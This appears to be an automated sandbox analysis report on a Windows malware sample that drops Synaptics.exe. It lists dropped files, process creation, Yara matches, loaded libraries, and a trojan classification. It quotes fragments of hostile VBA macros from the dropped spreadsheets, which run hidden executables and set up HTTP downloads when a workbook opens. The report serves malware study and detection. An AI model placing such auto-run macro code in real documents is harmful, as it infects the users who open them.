Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: znjZLpXp.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: NVWZAPQSQL.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: znjZLpXp.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: NVWZAPQSQL.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: znjZLpXp.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: NVWZAPQSQL.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 6C68B1AA appears 32 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 00A52F68 appears 462 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 00A500F7 appears 656 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 6C6855A2 appears 71 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 00A4FD12 appears 35 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 00A51D94 appears 59 times
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: String function: 00A55A7C appears 73 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 13472

Source: LisectAVT_2403002A_282.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: LisectAVT_2403002A_282.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF23B.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.4.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496145819.0000000003040000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496543930.0000000001576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameA- vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe, 00000000.00000003.1496543930.0000000001576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName2 vs LisectAVT_2403002A_282.exe
Source: ._cache_LisectAVT_2403002A_282.exe, 00000002.00000000.1478356714.0000000000A7C000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L$OriginalFilenameVC_redist.x64.exe vs LisectAVT_2403002A_282.exe
Source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000000.1480121333.0000000000A7C000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L$OriginalFilenameVC_redist.x64.exe vs LisectAVT_2403002A_282.exe
Source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamewixstdba.dllL vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe	Binary or memory string: OriginalFileName vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L$OriginalFilenameVC_redist.x64.exe vs LisectAVT_2403002A_282.exe
Source: LisectAVT_2403002A_282.exe	Binary or memory string: OriginalFilenameb! vs LisectAVT_2403002A_282.exe
Source: ._cache_LisectAVT_2403002A_282.exe.0.dr	Binary or memory string: tLegalCopyrightCopyright (c) Microsoft Corporation. All rights reserved.L$OriginalFilenameVC_redist.x64.exe vs LisectAVT_2403002A_282.exe

Source: LisectAVT_2403002A_282.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal54.troj.expl.winEXE@10/104@13/4

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A4F996 FormatMessageW,GetLastError,LocalFree,

2_2_00A4F996

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A213BA GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,Sleep,InitiateSystemShutdownExW,GetLastError,CloseHandle,

2_2_00A213BA

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A5573B GetModuleHandleA,GetLastError,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,ExitProcess,

2_2_00A5573B

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 3_2_6C68A888 FindResourceExA,GetLastError,LoadResource,GetLastError,SizeofResource,GetLastError,LockResource,GetLastError,

3_2_6C68A888

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A3EDA9 ChangeServiceConfigW,GetLastError,

2_2_00A3EDA9

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

File created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6988

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\

Jump to behavior

Source: Yara match	File source: LisectAVT_2403002A_282.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF23B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ._cache_LisectAVT_2403002A_282.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: LisectAVT_2403002A_282.exe	String found in binary or memory: Failed to re-launch bundle process after RunOnce: %ls
Source: LisectAVT_2403002A_282.exe	String found in binary or memory: CFailed to initialize engine section.Failed to verify elevation state.Failed to re-launch bundle process after RunOnce: %lsFailed to get current process path.Unable to get resume command line from the registryFailed to schedule restart.Failed to adjust token to add shutdown privileges.Failed to get shutdown privilege LUID.SeShutdownPrivilegeFailed to get process token.engine.cppFailed to pump messages from parent process.Failed to create the message window.Failed to set elevated pipe into thread local storage for logging.Failed to allocate thread local storage for logging.Failed to connect to unelevated process.Failed to launch unelevated process.Failed to create implicit elevated connection name and secret.Unexpected return value from message pump.Failed to start bootstrapper application.Failed to load UX.Failed to create engine for UX.Failed while running Failed to set layout directory variable to value provided from command-line.Failed to set registration variables.Failed to set action variables.Failed to query registration.Failed to check global conditionsFailed to connect to elevated parent process.Failed to create pipes to connect to elevated parent process.Failed to initialize internal cache functionality.Failed to open log.Failed to run bootstrapper application embedded.Failed to connect to parent of embedded process.Setup_FailedtxtFailed to run per-user mode.Failed to run per-machine mode.Failed to run embedded mode.Failed to run RunOnce mode.Invalid run mode.Failed to initialize core.3.7.3813.0Failed to get OS info.Failed to initialize XML util.Failed to initialize Wiutil.Failed to initialize Regutil.Failed to initialize COM.Failed to initialize engine state.

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

File read: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\LisectAVT_2403002A_282.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe"
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Process created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe" -burn.unelevated BurnPipe.{E4E51F82-7E66-4DF5-9657-3D7E13E42432} {55F881B6-C3A9-452A-8EED-53F844AA8C21} 1492
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 13472
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Process created: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe" -burn.unelevated BurnPipe.{E4E51F82-7E66-4DF5-9657-3D7E13E42432} {55F881B6-C3A9-452A-8EED-53F844AA8C21} 1492	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
